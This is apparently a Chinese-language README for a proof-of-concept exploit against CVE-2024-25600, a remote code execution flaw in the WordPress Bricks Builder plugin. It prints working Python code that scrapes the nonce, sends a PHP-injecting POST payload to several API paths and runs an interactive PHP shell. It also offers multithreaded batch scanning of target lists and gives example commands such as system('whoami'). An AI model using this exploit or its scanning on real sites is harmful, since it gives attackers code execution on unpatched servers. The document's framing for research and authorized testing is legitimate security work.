🛡️ WordPress Bricks Builder RCE 利用工具 (CVE-2024-25600)
本项目提供了一个用于验证和利用 WordPress Bricks Builder 插件中 CVE-2024-25600 远程代码执行漏洞的概念验证 (PoC) 工具。该工具专为安全研究人员和教育目的设计,能够演示此高危漏洞的严重性,帮助管理员理解并修复其网站的安全隐患。
✨ 功能特性
- 自动 Nonce 提取:通过解析目标页面的 HTML 和 JavaScript 数据,自动获取执行漏洞利用所需的
nonce值。 - 多线程扫描:支持从文件列表中批量扫描多个目标,快速发现易受攻击的站点。
- 交互式 Shell:成功利用漏洞后,可提供一个简单的交互式 PHP 命令执行环境,用于进一步的安全验证。
- 实时进度反馈:利用
alive-progress库提供直观的扫描进度条,增强用户体验。 - 彩色终端输出:使用
rich库美化控制台输出,使状态信息更清晰易读。 - 多种攻击路径:内置了多个可能的 API 端点,提高了漏洞利用的成功率。
📦 安装指南
系统要求
- Python 3.6 或更高版本
- 建议在 Linux 或 macOS 环境下运行,Windows 系统可能需要进行额外配置。
依赖安装
-
克隆或下载本项目代码。
-
安装所需的 Python 依赖库:
pip install requests beautifulsoup4 rich prompt_toolkit alive-progress
🚀 使用说明
基本用法
-
单目标测试 对单个目标网站进行漏洞测试,成功后自动进入交互式 Shell。
python exploit.py -u https://example.com -
批量扫描 使用
-l参数指定一个包含目标 URL 列表的文件(每行一个 URL),进行批量漏洞检测。python exploit.py -l targets.txt
典型使用场景
- 安全评估:在获得授权后,安全测试人员可以使用此工具快速验证其管理的网站是否受到 CVE-2024-25600 漏洞的影响。
- 漏洞验证:研究人员可以深入分析漏洞的利用原理,通过此 PoC 代码理解攻击载荷和请求结构。
- 教育与培训:作为网络安全课程的演示材料,直观展示 RCE 漏洞的危害性和利用过程。
交互式 Shell 命令示例
成功建立交互式 Shell 后,您可以直接输入任何 PHP 代码进行执行,例如:
// 查看当前用户信息
<?php echo system('whoami'); ?>
// 获取网站根目录文件列表
<?php echo system('ls -la'); ?>
// 获取PHP配置信息
<?php phpinfo(); ?>
// 退出交互式Shell
exit
🔍 核心代码
1. Nonce 提取函数
该函数通过解析目标页面的 HTML 内容,从 bricks-scripts-js-extra 脚本标签中提取用于身份验证的 nonce 值,这是漏洞利用成功的关键第一步。
def fetch_nonce(target):
try:
response = requests.get(target, verify=False, timeout=10)
response.raise_for_status()
soup = BeautifulSoup(response.text, "html.parser")
script_tag = soup.find("script", id="bricks-scripts-js-extra")
if script_tag:
# 使用正则表达式从脚本内容中匹配nonce值
match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
if match:
nonce = match.group(1)
return nonce
except Exception:
return None
2. 漏洞利用核心逻辑
此函数负责构建并发送携带恶意 PHP 代码的 POST 请求,实现远程代码执行。它包含了错误处理和响应判断逻辑。
def exploit(target, nonce, command):
# 定义攻击payload,通过'element'参数注入PHP代码
payload = {
"postId": "1",
"nonce": nonce,
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": True,
"queryEditor": f"throw new Exception('<?php {command}; ?>');",
"objectType": "post"
}
}
}
}
for path in paths:
try:
url = target.rstrip('/') + path
response = requests.post(url, json=payload, verify=False, timeout=10)
# 检查响应中是否包含错误信息,以判断代码是否执行成功
if "Exception" in response.text:
# 从异常信息中提取执行结果
result = re.search(r'Exception: (.*?) in', response.text, re.DOTALL)
if result:
return result.group(1)
else:
return response.text
except Exception as e:
continue
return None
3. 交互式 Shell 实现
该函数利用 prompt_toolkit 库创建了一个带有历史记录功能的交互式命令行,方便用户连续执行多个 PHP 命令,模拟了类似系统 Shell 的体验。
def interactive_shell(target, nonce):
color.print("[bold bright_green][+][/bold bright_green] Interactive shell established. Type your PHP code (e.g., 'system('id');') or 'exit' to quit.")
session = PromptSession(history=InMemoryHistory())
while True:
try:
command = session.prompt(HTML('<ansired><b>shell></b></ansired> '), auto_suggest=AutoSuggestFromHistory())
if command.lower() == 'exit':
break
if command:
result = exploit(target, nonce, command)
if result:
color.print(result)
else:
color.print("[bold bright_red][-][/bold bright_red] Command execution failed or no output.")
except KeyboardInterrupt:
break
6HFtX5dABrKlqXeO5PUv/8kqgduyQYAbwdCDhNRtG78yH0us1P4rD47+t9oQlJgc